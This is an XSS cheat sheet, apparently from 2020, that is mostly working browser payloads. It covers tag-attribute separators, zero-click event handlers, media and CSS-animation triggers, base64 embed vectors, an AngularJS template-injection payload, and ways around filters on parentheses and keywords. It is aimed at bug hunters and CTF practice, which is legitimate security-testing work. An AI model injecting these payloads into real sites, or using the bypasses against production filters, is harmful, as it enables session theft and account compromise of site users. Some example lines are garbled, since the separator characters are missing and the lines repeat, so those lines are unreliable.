XSS Cheatsheet For 2020: Tag-Attribute Separators
XSS Cheatsheet For 2020: Tag-Attribute Separators
Tag-attribute separators
Sometimes filters naively assume only certain characters can separate a tag and its attributes, here’s a full list of valid separators that work in firefox and chrome:
Usage
Basically, if you have a payload that looks like:
<svg onload=alert(1)>
You can try to replace the space between ‘svg’ and ‘onload’ with any of those chars and still work like you expect it to:
So, these are all valid HTML and will execute (demo: <<valid html>> ):
<svg/onload=alert(1)><svg>
<svg
onload=alert(1)><svg> # newline char
<svg onload=alert(1)><svg> # tab char
<svgonload=alert(1)><svg> # new page char (0xc)
1
Name Tags Note
onload body, iframe, img, frameset, input, script, style, link, svg Great for 0-click, but super commonly filtered
onpageshow body Great for 0-click, but appears only usable in Non-DOM injections
onfocus most tags for 0-click: use together with autofocus=“”
onmouseover most tags if possible, add styling to make it as big as possible.
onerror img, input, object, link, script, video, audio make sure to pass params to make it fail
onanimationstart Combine with any element that can be animated Fired then a CSS animation starts
onanimationend Combine with any element that can be animated Fires when a CSS animation ends
onstart marquee Fires on marquee animation start - Firefox only?
onfinish marquee Fires on marquee animation end - Firefox only?
ontoggle details Must have the ‘open’ attribute for 0-click
Examples:
<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<div style="width:1000px;height:1000px" onmouseover=alert()></div>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()"> (chrome & opera only)
HTML5 events
(0-click only)
Examples:
2
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()">
<source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">
</video>
<video controls onloadeddata="alert()">
<source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">
</video>
<video controls onloadedmetadata="alert()">
<source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">
</video>
<video controls onloadstart="alert()">
<source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">
</video>
<video controls onloadstart="alert()">
<source src=x></video>
<video controls oncanplay="alert()">
<source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">
</video>
<audio autoplay controls onplay="alert()">
<source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">
</audio>
<audio autoplay controls onplaying="alert()">
<source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">
</audio>
CSS-based events
Unfortunately, true XSS through CSS appears dead. All the vectors I’ve attempted only work on extremely old browsers. So what we’ve got is XSS that triggers based on
CSS unless you feel like arguing with devs that an IE8 or old opera vulnerability is still a valid risk.
Note: Below uses style tags to set up keyframes for animation(start|end), but you can also check for already included CSS to reuse what’s already there.
<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
3
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdod
D0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
XSS Polyglots
I use several XSS polyglots because sometimes you only have a certain # of characters to input and need a DOM or non-DOM based one. Don’t rely on these as there are
circumstances they will fail, but if you’re fuzzing everything then polyglots can give okay coverage.
Frameworks
AngularJS
{% raw %}
{{constructor.constructor('alert(1)')()}}
{% endraw %}
That payload works in most cases, but this great resource has a bunch of other recommendations for various versions you may want to try.
Mavo
[self.alert(1)]
4
XSS Filter Bypasses
Parenthesis filtering
Abusing HTML parsers and JS Syntax:
<svg onload=alert`1`></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
<svg onload=alert(1)></svg>
Restricted charset
These 3 sites will transform valid JS to horrible monstrosities that have a good shot at bypassing a lot of filters:
• JSFuck
• JSFsck – JSFuck without parentheses
• jjencode
Keyword filtering
Avoiding keywords:
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1) // Generated using parseInt("alert",30). Other bases also work
5
Double encoding
Simple enough, sometimes an application will perform XSS filtering on a string before it’s decoded once more, which leaves it open by filter bypasses. It’s pretty rare, but
some bug hunters I know swear by it so I’m including it for reference.
General tips
• VaRy ThE capItaliZatiOn. Sometimes a regex or other custom-made filters do case sensitive matching.
• Practice your XSS skills on CTFs like Pwnfunction’s XSS CTF . You will likely learn techniques you did not know existed.
Resources